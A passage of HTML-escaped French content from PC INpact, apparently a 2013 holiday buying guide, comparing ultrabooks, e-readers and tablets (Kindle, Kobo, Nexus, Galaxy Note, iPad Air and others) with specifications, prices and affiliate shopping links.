+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;&lt;img style="display: block; margin-left: auto; margin-right: auto;" src="http://static.pcinpact.com/images/bd/news/127937.png" alt="Dell XPS 13 Developper Edition" /&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Une machine plut&amp;ocirc;t int&amp;eacute;ressante donc pour celui qui souhaite disposer d'un Ultrabook de 13,3 pouces de moins de 1,4 kg, sans pour autant se retrouver dans l'&amp;eacute;cosyst&amp;egrave;me Windows. Pour ceux qui pr&amp;eacute;f&amp;eacute;reraient tout de m&amp;ecirc;me cet environnement logiciel, deux configurations sont propos&amp;eacute;es &amp;agrave; partir de &lt;a href="http://bit.ly/1d9vnkZ" target="_blank"&gt;1099 euros&lt;/a&gt;, avec un Core i3 et un SSD de 128 Go.&lt;/p&gt;
+&lt;ul&gt;
+&lt;li&gt;Retrouver le XPS 13 Developper Edition chez Dell :&amp;nbsp;&lt;a href="http://pdn.im/195jid4" target="_blank"&gt;&amp;agrave; partir de 1299 euros&lt;/a&gt;&lt;/li&gt;
+&lt;/ul&gt;
+&lt;h3&gt;Apple MacBook Pro Retina 13 : performances et autonomie&lt;/h3&gt;
+&lt;p&gt;Continuons avec le MacBook Pro Retina 13 qui &lt;a href="http://www.pcinpact.com/news/84061-macbook-pro-retina-a-1299-iris-pro-thunderbolt-2-wi-fi-802-11ac-etc.htm" target="_blank"&gt;a &amp;eacute;t&amp;eacute; mis &amp;agrave; jour r&amp;eacute;cemment par Apple&lt;/a&gt;. Notre choix s'est arr&amp;ecirc;t&amp;eacute; sur le second mod&amp;egrave;le (ME865F), disponible pour 1499 euros, qui dispose d'une configuration plus compl&amp;egrave;te. On dispose alors d'une machine pesant 1,57 kg sur la balance pour 18 mm d'&amp;eacute;paisseur. Son &amp;eacute;cran Retina de 13,3 pouces affiche 2560 x 1600 pixels, soit une densit&amp;eacute; de 227 DPI.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p style="text-align: center;"&gt;&lt;a class="fancyimg" href="http://static.pcinpact.com/images/bd/news/140135.jpeg" rel="group_fancy"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/medium-140135.jpeg" alt="MacBook Pro Retina" /&gt;&lt;/a&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;&amp;Agrave; l'int&amp;eacute;rieur, on retrouve un Core i5 double c&amp;oelig;ur &amp;agrave; 2,4 GHz alors que la puce graphique int&amp;eacute;gr&amp;eacute;e est une Iris Graphics. Pour accompagner ce processeur, on retrouve 8 Go de m&amp;eacute;moire vive ainsi qu'un SSD de 256 Go. La connectique regroupe deux ports Thunderbolt 2, deux ports USB 3.0, une sortie HDMI, un lecteur de cartes et une prise casque. La connectivit&amp;eacute; comprend quant &amp;agrave; elle du Wi-Fi 802.11ac et du Bluetooth 4.0. L'autonomie annonc&amp;eacute;e est de neuf en navigation sur internet au travers du Wi-Fi ou en lecture de vid&amp;eacute;o via iTunes, le tout gr&amp;acirc;ce &amp;agrave; une batterie de 71,8 Wh. Enfin, OS X Mavericks est livr&amp;eacute; par d&amp;eacute;faut.&lt;/p&gt;
+&lt;ul&gt;
+&lt;li&gt;Retrouver le MacBook Pro &amp;agrave;&amp;nbsp;&amp;Eacute;cran Retina chez Apple :&lt;a href="http://aos.prf.hn/click/camref:11lpCt/creativeref:305128" target="_blank"&gt;&amp;nbsp;&amp;agrave; partir de 1299 euros&lt;/a&gt;&lt;/li&gt;
+&lt;/ul&gt;&lt;p&gt;Les tablettes sont le ph&amp;eacute;nom&amp;egrave;ne de mode de cette ann&amp;eacute;e 2013 et tous les constructeurs en ont dans leurs gammes. Nous vous avons propos&amp;eacute; &lt;a href="http://www.pcinpact.com/dossier/721-les-tablettes-reine-de-noel-2013-on-fait-le-point/1.htm" target="_blank"&gt;un dossier&lt;/a&gt; sur ce que les uns et les autres allaient mettre en place afin de tenter de prendre des parts de march&amp;eacute;s aux deux mastodontes que sont Apple et Samsung.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p style="text-align: center;"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/141345.jpeg" alt="Tablettes" /&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;C&amp;ocirc;t&amp;eacute; tendance g&amp;eacute;n&amp;eacute;rale, on peut voir plusieurs choses. Tout d'abord, les tablettes compactes sont de plus en plus nombreuses et leurs caract&amp;eacute;ristiques techniques n'ont plus &amp;agrave; rougir par rapport aux mod&amp;egrave;les plus grands. On retrouve ainsi des &amp;eacute;crans full HD, ou Retina chez Apple, des puces &amp;agrave; quatre c&amp;oelig;urs, etc.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Comme pour les smartphones, Android et iOS se partagent la quasi-int&amp;eacute;gralit&amp;eacute; du march&amp;eacute;... laissant des miettes &amp;agrave; Microsoft. Mais ce dernier devrait logiquement reprendre du poil de la b&amp;ecirc;te avec l'arriv&amp;eacute;e de produits sous Windows 8.1 (voir &lt;a href="http://www.pcinpact.com/dossier/722-tout-savoir-des-nouveautes-de-windows-8-1/1.htm" target="_blank"&gt;notre dossier&lt;/a&gt;).&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Mais surtout, on constate que les prix des produits n'ont pas cess&amp;eacute; de baisser, surtout pour les mod&amp;egrave;les Android. S'il fallait compter un minimum de 180 euros l'ann&amp;eacute;e derni&amp;egrave;re pour une tablette de 7 pouces, on en trouve d&amp;eacute;sormais aux alentours des 130 euros. Pour les 10 pouces, le ticket d'entr&amp;eacute;e se situe aux environs des 200 euros, soit un bon tiers de moins qu'en 2012. N'h&amp;eacute;sitez d'ailleurs pas &amp;agrave; suivre &lt;a href="http://www.pcinpact.com/bons-plans.htm" target="_blank"&gt;notre cat&amp;eacute;gorie bons plans&lt;/a&gt;, car les constructeurs se livrent une guerre acharn&amp;eacute;e actuellement et les offres de remboursement sont nombreuses.&lt;/p&gt;
+&lt;h3&gt;Kindle contre Kobo, les liseuses &amp;eacute;lectroniques&lt;/h3&gt;
+&lt;p&gt;Mais avant d'entrer d'entrer dans notre s&amp;eacute;lection de tablettes, passons un instant sur les liseuses &amp;eacute;lectroniques. Depuis quelques ann&amp;eacute;es, Amazon dispose d'une gamme de Kindle qui debute &amp;agrave; partir de &lt;a href="http://pdn.im/19nZeA6" target="_blank"&gt;59 euros&lt;/a&gt;. Deux mod&amp;egrave;les retiennent alors notre attention. La kindle de base pour son tarif extremement bas, mais c'est surtout la Paperwhite, &amp;agrave; &lt;a href="http://pdn.im/19nZeA6" target="_blank"&gt;129 euros&lt;/a&gt;&amp;nbsp;qui aura nos faveurs, car disposant d'un &amp;eacute;cran de meilleur de qualit&amp;eacute; et surtout d'un r&amp;eacute;tro&amp;eacute;clairage.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p style="text-align: center;"&gt;&lt;a class="fancyimg" href="http://static.pcinpact.com/images/bd/news/141353.png" rel="group_fancy"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/mini-141353.png" alt="amazon kindle paperwhite" height="195" /&gt;&lt;/a&gt; &lt;a class="fancyimg" href="http://static.pcinpact.com/images/bd/news/137788.jpeg" rel="group_fancy"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/mini-137788.jpeg" alt="Kobo Aura" /&gt;&lt;/a&gt;&lt;/p&gt;
+&lt;p style="text-align: center;"&gt;&lt;span style="font-size: smaller; font-weight: bold;"&gt;Amazon Kindle Paperwhite / Kobo Aura&lt;/span&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Du c&amp;ocirc;t&amp;eacute; de la Fnac, depuis l'ann&amp;eacute;e derni&amp;egrave;re la gamme Kobo a fait son apparition. De notre c&amp;ocirc;t&amp;eacute; l&amp;agrave; encore nous en retenons que deux : la Kobo touch qui est propos&amp;eacute;e &amp;agrave; &lt;a href="http://pdn.im/18BJJH4" target="_blank"&gt;79 euros&lt;/a&gt; et qui est tactile, la seconde est l'Aura et qui comme la Paperwhite d'Amazon, dispose d'un &amp;eacute;cran mieux d&amp;eacute;fini et r&amp;eacute;tro&amp;eacute;clair&amp;eacute;. Cette derni&amp;egrave;re est propos&amp;eacute;e aux adh&amp;eacute;rents de la Fnac &amp;agrave; 129,90 euros (149,90 euros sinon).&lt;/p&gt;
+&lt;ul&gt;
+&lt;li&gt;Retrouvez les Kindle d'Amazon, &amp;agrave; partir de &lt;a href="http://pdn.im/19nZeA6" target="_blank"&gt;59 euros&lt;/a&gt;&lt;/li&gt;
+&lt;li&gt;Retrouvez les Kobo &amp;agrave; la Fnac, &amp;agrave; partir de &lt;a href="http://pdn.im/18BJJH4" target="_blank"&gt;79,90 euros&lt;/a&gt;&lt;/li&gt;
+&lt;li&gt;Retrouvez les Kobo chez Boulanger, &amp;agrave; partir de &lt;a href="http://pdn.im/1e4PGQY" target="_blank"&gt;79,90 euros&lt;/a&gt;&lt;/li&gt;
+&lt;/ul&gt;
+&lt;p&gt;Notez que d'autres acteurs viennent de se lancer dans la bataille, c'est par exemple le cas de &lt;a href="http://www.pcinpact.com/news/83868-nolimbook-carrefour-se-lance-dans-liseuses-a-partir-6990-euros.htm" target="_blank"&gt;Carrefour avec sa gamme NoLim&lt;/a&gt;, dont les deux mod&amp;egrave;les sont disponibles &amp;agrave; &lt;a href="http://pdn.im/1ecQSy7" target="_blank"&gt;69,90 euros&lt;/a&gt; et &lt;a href="http://pdn.im/1ecQO1u" target="_blank"&gt;99,90 euros&lt;/a&gt; respectivement.&lt;/p&gt;
+&lt;h3&gt;MeMO Pad HD 7 : 150 euros, &amp;eacute;cran HD, puce quad c&amp;oelig;urs, Android 4.2.2&lt;/h3&gt;
+&lt;p&gt;Commen&amp;ccedil;ons avec la MeMO Pad HD 7 que &lt;a href="http://www.pcinpact.com/test/687-memo-pad-hd-7-la-tablette-dentree-de-gamme-selon-asus/1.htm" target="_blank"&gt;nous avons test&amp;eacute;&lt;/a&gt;. Cette tablette est plut&amp;ocirc;t int&amp;eacute;ressante maintenant qu'on la trouve sous la barre des &lt;a href="http://www.prixdunet.com/s/6/MeMO+pad+HD+7.html" target="_blank"&gt;150 euros&lt;/a&gt;. Elle dispose de coques de diff&amp;eacute;rentes couleurs (blanc, bleu, rose ou vert) et d'une fiche technique plut&amp;ocirc;t compl&amp;egrave;te incluant un &amp;eacute;cran IPS en 1280 x 800, un SoC &amp;agrave; quatre c&amp;oelig;urs ainsi que 16 Go de stockage extensible via le lecteur de cartes microSDHC (jusqu'&amp;agrave; 32 Go suppl&amp;eacute;mentaires).&lt;/p&gt;
+&lt;p&gt;[PDN]804120[/PDN]&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Elle est d&amp;eacute;sormais disponible sous Android 4.2.2 (Jelly Bean) et si vous souhaitez l'offrir &amp;agrave; un enfant ou adolescent, sachez qu'une application de contr&amp;ocirc;le parental est livr&amp;eacute;e par d&amp;eacute;faut. Notez enfin que certaines grandes enseignes proposent aussi une version de 8 Go pour quelques euros de moins, mais attention, non seulement la partie stockage a &amp;eacute;t&amp;eacute; revue &amp;agrave; la baisse, mais le capteur photo / vid&amp;eacute;o aussi.&lt;/p&gt;
+&lt;h3&gt;Galaxy Tab 3 8.0 ou Galaxy Note 8.0 : une histoire de stylet les s&amp;eacute;pare ou presque&lt;/h3&gt;
+&lt;p&gt;Passons &amp;agrave; un mod&amp;egrave;le, ou plut&amp;ocirc;t deux de chez Samsung : les Galaxy Tab 8 et Note 8. La premi&amp;egrave;re est particuli&amp;egrave;rement &amp;eacute;conomique puisqu'on la trouve aux alentours des 250 euros, mais avec &lt;a href="http://www.pcinpact.com/bon-plan/1002-galaxy-tab-3-jusqua-50-rembourses-par-samsung.htm" target="_blank"&gt;une offre de remboursement de 50 euros&lt;/a&gt;, elle passe sous la barre des 200 euros. Elle embarque un &amp;eacute;cran de 8 pouces (1280 x 800 pixels), un SoC double c&amp;oelig;ur &amp;agrave; 1,5 GHz ainsi que 16 Go de stockage (extensibles via un lecteur de cartes).&lt;/p&gt;
+&lt;p&gt;[PDN]795242[/PDN]&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Vous souhaitez un mod&amp;egrave;le plus performant et pourvu d'un stylet ? Dans ce cas l&amp;agrave;, il suffit de vous tourner vers la Galaxy Note 8.0. Propos&amp;eacute;e aux alentours des 300 euros, elle b&amp;eacute;n&amp;eacute;ficie aussi d'&lt;a href="http://www.pcinpact.com/bon-plan/1000-galaxy-note-8-0-et-10-1-jusqua-50-rembourses-par-samsung.htm" target="_blank"&gt;une offre de remboursement de 50 euros&lt;/a&gt;, elle embarque une puce Exynos 4412 &amp;agrave; quatre c&amp;oelig;urs, 2 Go de m&amp;eacute;moire vive et avec 16 Go de stockage (extensible via un lecteur de cartes).&lt;/p&gt;
+&lt;p&gt;[PDN]782526[/PDN]&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;En plus du stylet, vous pourrez exploiter l'affichage sans fil, puisqu'elle est compatible Miracast. Enfin si une variante supportant les r&amp;eacute;seaux 3G/4G vous int&amp;eacute;resse, elle est vendue &amp;agrave; &lt;a href="http://www.prixdunet.com/tablet-pc/samsung-galaxy-note-8-0-16go-4g-wi-fi-noir-804112.html" target="_blank"&gt;550 euros&lt;/a&gt; et l&amp;agrave; encore une offre de remboursement de &lt;a href="http://www.pcinpact.com/bon-plan/1000-galaxy-note-8-0-et-10-1-jusqua-50-rembourses-par-samsung.htm" target="_blank"&gt;50 euros&lt;/a&gt; est disponible dans nos bons plans.&lt;/p&gt;
+&lt;h3&gt;Nexus 7 2013 : l'exp&amp;eacute;rience Android brut&lt;/h3&gt;
+&lt;p&gt;Passons &amp;agrave; la reine de la cat&amp;eacute;gorie Android : la Nexus 7 2013 (voir &lt;a href="http://www.pcinpact.com/test/710-nexus-7-2013-nouvelle-reine-des-tablettes-de-7-pouces/1.htm" target="_blank"&gt;notre test&lt;/a&gt;) qui vient de passer &amp;agrave; Android 4.4 (KitKat). Celle-ci a fait un r&amp;eacute;el bon avant par rapport au mod&amp;egrave;le de 2012. Son &amp;eacute;cran Full HD de 7 pouces et sa d&amp;eacute;finition de 1920 x 1200 pixels sont vraiment un mod&amp;egrave;le du genre,&amp;nbsp;la puce Snapdragon S4 Pro permet de profiter des jeux les plus gourmands et la tablette peut profiter du sans-fil que ce soit pour l'affichage ou la recharge.&lt;/p&gt;
+&lt;p&gt;[PDN]808998[/PDN]&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Elle est propos&amp;eacute;e &amp;agrave; partir de &lt;a href="https://play.google.com/store/devices/details?id=nexus_7_16gb_2013" target="_blank"&gt;229 euros&lt;/a&gt; sur le Play Store avec 16 Go de stockage, mais si vous &amp;nbsp;souhaitez utiliser &lt;a href="http://www.touslesforfaits.fr/?BudgetUtilMin=0&amp;amp;BudgetUtilMax=166&amp;amp;CommUtilMin=0&amp;amp;CommUtilMax=300&amp;amp;DataUtilMin=0&amp;amp;DataUtilMax=12000&amp;amp;quatreg=true&amp;amp;BudgetMin=0&amp;amp;BudgetMax=166&amp;amp;DataMin=0&amp;amp;DataMax=12000&amp;amp;CommunicationMin=0&amp;amp;CommunicationMax=300&amp;amp;FairUseMin=0&amp;amp;FairUseMax=21000&amp;amp;smartphone=0&amp;amp;prixparmois=1&amp;amp;nbparpage=20&amp;amp;order=tarif&amp;amp;way=asc&amp;amp;page=1" target="_blank"&gt;un forfait 4G&lt;/a&gt;, sachez qu'une d&amp;eacute;clinaison est aussi disponible &amp;agrave; &lt;a href="https://play.google.com/store/devices/details/Nexus_7_32_Go_Wi_Fi_donn%C3%A9es_mobiles_d%C3%A9verrouill%C3%A9?id=nexus_7_32gb_2013_lte" target="_blank"&gt;349 euros&lt;/a&gt;.&lt;/p&gt;
+&lt;ul&gt;
+&lt;li&gt;Retrouver la Nexus 7 (2013) sur&amp;nbsp;le Play Store de Google, &lt;a href="https://play.google.com/store/devices/details?id=nexus_7_16gb_2013" target="_blank"&gt;&amp;agrave; partir de 229 euros&lt;/a&gt;&lt;/li&gt;
+&lt;/ul&gt;
+&lt;h3&gt;LG G Pad : &amp;agrave; partir de 249 euros avec l'offre de remboursement&lt;/h3&gt;
+&lt;p&gt;Passons &amp;agrave; la G Pad de LG, une tablette de 8,3 pouces fonctionnant sous Android 4.2.2 (Jelly Bean). Comme la Nexus 7 2013, elle est dot&amp;eacute; d'un &amp;eacute;cran &amp;agrave; dalle IPS Full HD (1920 x 1080 pixels). Elle devrait par contre &amp;ecirc;tre un peu plus performante que cette derni&amp;egrave;re puisqu'elle embarque un Snapdragon 600 au lieu du S4 Pro. On retrouve alors quatre c&amp;oelig;urs &amp;agrave; 1,7 GHz ainsi qu'un Adreno 320. Pour accompagner ce SoC, 2 Go de m&amp;eacute;moire vive ainsi que 16 Go sont de la partie.&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;[PDN]830200[/PDN]&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Si vous n'utilisez pas de stylet et que vous pr&amp;eacute;f&amp;eacute;rez lire des vid&amp;eacute;os, elle sera une alternative &amp;agrave; la Galaxy Note 8.0 par exemple ou &amp;agrave; l'iPad mini Retina. En outre, via la pr&amp;eacute;sence d'un lecteur de carte microSDHC (64 Go maximum), elle peut offrir un peu plus d'espace de stockage que la tablette compacte de Google. Enfin elle est disponible en blanc ainsi qu'en noir, et une offre de remboursement de 50 euros est disponible via ce &lt;a href="http://www.pcinpact.com/bon-plan/1225-lg-50-rembourses-sur-tablette-g-pad-mobile-g2-ou-optimus-g-pro.htm" target="_blank"&gt;bon plan&lt;/a&gt;.&lt;/p&gt;
+&lt;h3&gt;Dell Venue 8 Pro : 8 pouces, Windows 8.1 pour 269 euros&lt;/h3&gt;
+&lt;p&gt;Continuons avec une nouvelle arrivante sous Windows 8.1 : la Venue 8 Pro de Dell. Elle est au format de 8 pouces avec un &amp;eacute;cran IPS affichant 1280 x 800 pixels. Elle s'appuie sur un &lt;a href="http://ark.intel.com/products/78416/" target="_blank"&gt;Atom Z3740D&lt;/a&gt; d'Intel (4 c&amp;oelig;urs &amp;agrave; 1,33 GHz et jusqu'&amp;agrave; 1,86 GHz en burst), sur 2 Go de m&amp;eacute;moire vive ainsi que sur 32 Go de stockage, extensible via un lecteur de carte microSDXC. Elle exploite une puce maison (Wireless 1538) qui comprend du Wi-Fi 802.11n et du Bluetooth 4.0. Un port micro USB 2.0 et une sortie micro HDMI compl&amp;egrave;tent l'ensemble.&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p style="text-align: center;"&gt;&lt;a class="fancyimg" href="http://static.pcinpact.com/images/bd/news/139448.jpeg" rel="group_fancy"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/medium-139448.jpeg" alt="Dell Venue 8 Pro" width="450" /&gt;&lt;/a&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Ce qui la rend int&amp;eacute;ressante ? Elle est certifi&amp;eacute;e Miracast et son tarif est de 269 euros avec Windows 8.1 et Office 2013 Famille et Etudiants. Notez que le constructeur texan propose des accessoires sp&amp;eacute;cifiques comme un stylet actif ou encore un clavier Bluetooth.&lt;/p&gt;
+&lt;ul&gt;
+&lt;li&gt;Retrouver la Dell Venue 8 Pro chez Dell :&amp;nbsp;&lt;a href="http://pdn.im/192DZ5D" target="_blank"&gt;&amp;agrave; partir de 269 euros&lt;/a&gt;&lt;/li&gt;
+&lt;/ul&gt;
+&lt;h3&gt;iPad mini ou iPad mini avec &amp;eacute;cran Retina&lt;/h3&gt;
+&lt;p&gt;Passons aux tablettes compactes d'Apple avec les iPad mini avec ou sans &amp;eacute;cran Retina. La premi&amp;egrave;re est bien connue puisqu'elle n'a pas chang&amp;eacute; depuis l'ann&amp;eacute;e derni&amp;egrave;re, hormis du c&amp;ocirc;t&amp;eacute; de son tarif qui est d&amp;eacute;sormais de&amp;nbsp;&lt;a href="http://pdn.im/1blaKuH" target="_blank"&gt;299 euros&lt;/a&gt;&amp;nbsp;avec du Wi-Fi seulement et de 419 euros dans sa d&amp;eacute;clinaison 4G. On retrouve alors un &amp;eacute;cran de 1024 x 768 pixels, une puce A5 et 16 Go de stockage.&lt;/p&gt;
+&lt;p&gt;[PDN]755609[/PDN]&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Plus performant, l'iPad mini avec &amp;eacute;cran Retina dispose quant &amp;agrave; lui d'une dalle affichant 2048 x 1536 pixels ainsi qu'une puce A7 comme sur l'iPhone 5s. Ici plusieurs d&amp;eacute;clinaisons avec diff&amp;eacute;rentes capacit&amp;eacute;s de stockage sont propos&amp;eacute;es allant de 16 Go &amp;agrave; 128 Go. C&amp;ocirc;t&amp;eacute; tarif, il est question de &lt;a href="http://pdn.im/1blaRGC" target="_blank"&gt;399 euros&lt;/a&gt; et cela grimpe jusqu'&amp;agrave; &lt;a href="http://pdn.im/1blaRGC" target="_blank"&gt;795 euros&lt;/a&gt; avec le support de la 4G. Notez qu'il est aussi propos&amp;eacute; par les op&amp;eacute;rateurs &amp;agrave; partir de &lt;a href="http://pdn.im/192EbSl" target="_blank"&gt;199 euros&lt;/a&gt;&amp;nbsp;chez Orange, ou de&amp;nbsp;&lt;a href="http://pdn.im/Id2k24" target="_blank"&gt;149 euros&lt;/a&gt;&amp;nbsp;chez SFR via une offre de remboursement de &lt;a href="http://www.pcinpact.com/bon-plan/325-jusqua-100-rembourses-pour-achat-dune-tablette-3g-ou-4-g-chez-sfr.htm" target="_blank"&gt;100 euros&lt;/a&gt;.&lt;/p&gt;
+&lt;p&gt;[PDN]822950[/PDN]&lt;/p&gt;
+&lt;ul&gt;
+&lt;li&gt;Retrouver les iPad mini chez&amp;nbsp;Apple, &lt;a href="http://pdn.im/1blaKuH" target="_blank"&gt;&amp;agrave; partir de 299 euros&lt;/a&gt;&lt;/li&gt;
+&lt;li&gt;Retrouver l'iPad mini chez Orange, &lt;a href="http://pdn.im/192EbSl" target="_blank"&gt;&amp;agrave; partir de 199 euros&lt;/a&gt;&lt;/li&gt;
+&lt;li&gt;Retrouver l'iPad mini chez SFR, &lt;a href="http://pdn.im/Id2k24" target="_blank"&gt;&amp;agrave; partir de 149 euros&lt;/a&gt;&lt;/li&gt;
+&lt;/ul&gt;
+&lt;h3&gt;Acer Iconia Tab A3-A10 : le ticket d'entr&amp;eacute;e &amp;agrave; Android avec un &amp;eacute;cran de 10,1 pouces&lt;/h3&gt;
+&lt;p&gt;Passons d&amp;eacute;sormais aux tablettes de plus grandes tailles avec l'Acer Iconia Tab A3-A10, un mod&amp;egrave;le de 10,1 pouces fonctionnant sous Android 4.2 (Jelly Bean). Celle-ci a retenu notre attention car elle embarque une configuration assez performante pour pouvoir s'adonner &amp;agrave; l'ensemble des t&amp;acirc;ches vid&amp;eacute;o-ludiques que l'on attend d'un tel produit, avec un prix vraiment contenu.&lt;/p&gt;
+&lt;p&gt;[PDN]821140[/PDN]&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Elle dispose ainsi qu'un &amp;eacute;cran IPS de 1280 x 800 pixels, d'un SoC Mediatek 8125 avec un CPU &amp;agrave; quatre c&amp;oelig;urs, du Wi-Fi 802.11n, du Bluetooth 4.0 et d'une sortie micro HDMI. 16 Go de stockage sont disponibles par d&amp;eacute;faut, mais un lecteur de cartes microSDHC permet de la compl&amp;eacute;ter si besoin. Enfin, elle est annonc&amp;eacute;e avec une autonomie de onze heures.&lt;/p&gt;
+&lt;h3&gt;MeMO Pad FHD 10 : Full HD &amp;agrave; moins de 300 euros&lt;/h3&gt;
+&lt;p&gt;Encha&amp;icirc;nons avec la MeMO Pad FHD 10 d'ASUS qui est propos&amp;eacute;e &amp;agrave; partir de &lt;a href="http://www.prixdunet.com/s/6/ME302C.html" target="_blank"&gt;330 euros&lt;/a&gt;, mais une offre de remboursement vous permet de r&amp;eacute;cup&amp;eacute;rer &lt;a href="http://www.pcinpact.com/bon-plan/621-memo-pad-smart-me301t-50-rembourses-par-asus.htm" target="_blank"&gt;50 euros&lt;/a&gt;. &amp;Agrave; ce tarif-l&amp;agrave;, vous avez droit &amp;agrave; un &amp;eacute;cran Full HD (1920 x 1200 pixels), une puce Intel Atom Z2560 (2 c&amp;oelig;urs &amp;agrave; 1,6 GHz), 2 Go de m&amp;eacute;moire vive et 32 Go de stockage (extensible via le port MicroSDHC).&lt;/p&gt;
+&lt;p&gt;[PDN]805414[/PDN]&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Elle est propos&amp;eacute;e dans trois coloris, bleu, blanc ou rose, et elle est annonc&amp;eacute;e avec une autonomie de 8 heures, ce qui reste parfaitement convenable pour un tel produit. Les seuls regrets que l'on peut avoir sont le manque de sortie micro HDMI et l'affichage sans fil qui se restreint uniquement &amp;agrave; des vid&amp;eacute;os non prot&amp;eacute;g&amp;eacute;es par des DRM, exit donc les vid&amp;eacute;os issues du Play Store.&lt;/p&gt;
+&lt;h3&gt;Nexus 10 : KitKat en version grand &amp;eacute;cran&lt;/h3&gt;
+&lt;p&gt;Passons &amp;agrave; la Nexus 10 de Google qui a maintenant un peu plus d'un an. Si elle a notre pr&amp;eacute;f&amp;eacute;rence &amp;agrave; d'autres mod&amp;egrave;les plus r&amp;eacute;cents, c'est avant tout pour le suivi des mis &amp;agrave; jour d'Android puisqu'elle b&amp;eacute;n&amp;eacute;ficie de la derni&amp;egrave;re mouture en date : KitKat. En outre, elle dispose d'un &amp;eacute;cran affichant de 2560 x 1600 pixels, ce qui en fait un choix de luxe pour une tablette &amp;agrave; &lt;a href="https://play.google.com/store/devices/details?id=nexus_10_16gb" target="_blank"&gt;399 euros&lt;/a&gt;.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p style="text-align: center;"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/122659.png" alt="Google Nexus 10" width="450" /&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Elle embarque une puce Exynos 5250 de chez Samsung, qui comprend un CPU &amp;agrave; deux c&amp;oelig;urs &amp;agrave; 1,7 GHz ainsi qu'une solution graphique de type Mali-T604. 2 Go de m&amp;eacute;moire vive accompagne ce SoC, tout comme 16 Go (toujours non extensible chez Google).&lt;/p&gt;
+&lt;ul&gt;
+&lt;li&gt;Retrouver la Nexus 10 sur le&amp;nbsp;Play Store, &lt;a href="https://play.google.com/store/devices/details?id=nexus_10_16gb" target="_blank"&gt;&amp;agrave; partir de 399 euros&lt;/a&gt;&lt;/li&gt;
+&lt;/ul&gt;
+&lt;h3&gt;iPad Air : plus l&amp;eacute;ger et plus performant, que demander de plus ?&lt;/h3&gt;
+&lt;p&gt;Passons &amp;agrave; l'iPad Air d'Apple qui a &amp;eacute;t&amp;eacute; annonc&amp;eacute; r&amp;eacute;cemment. Celui-ci se rapproche de l'iPad mini Retina que ce soit en termes de poids (469 grammes) ou d'&amp;eacute;paisseur (7,5 mm). Propos&amp;eacute; dans un &amp;eacute;crin en aluminium gris sid&amp;eacute;ral / noir ou argent / blanc, il empreinte l'A7 de l'iPhone 5s ainsi qu'un &amp;eacute;cran affichant 2048 x 1536 pixels.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p style="text-align: center;"&gt;&lt;a class="fancyimg" href="http://static.pcinpact.com/images/bd/news/140154.png" rel="group_fancy"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/medium-140154.png" alt="iPad Air" width="450" /&gt;&lt;/a&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Malgr&amp;eacute; la hausse de performances et la diminution de la batterie par rapport &amp;agrave; l'iPad Retina (32 Wh contre 42 Wh auparavant), il s'offre le luxe d'offrir d'avoir 10 heures d'autonomie. Comme d'habitude chez Apple, on a droit &amp;agrave; diff&amp;eacute;rents choix de stockage allant 16 Go &amp;agrave; 128 Go et de choisir la connectivit&amp;eacute; : Wi-Fi seul ou Wi-Fi + 4G. C&amp;ocirc;t&amp;eacute; tarif, le premier mod&amp;egrave;le est propos&amp;eacute; &amp;agrave; &lt;a href="http://pdn.im/1blaVGt" target="_blank"&gt;489 euros&lt;/a&gt; alors que la version la plus haut de gamme si situe &amp;agrave; &lt;a href="http://pdn.im/1blaVGt" target="_blank"&gt;885 euros&lt;/a&gt;.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
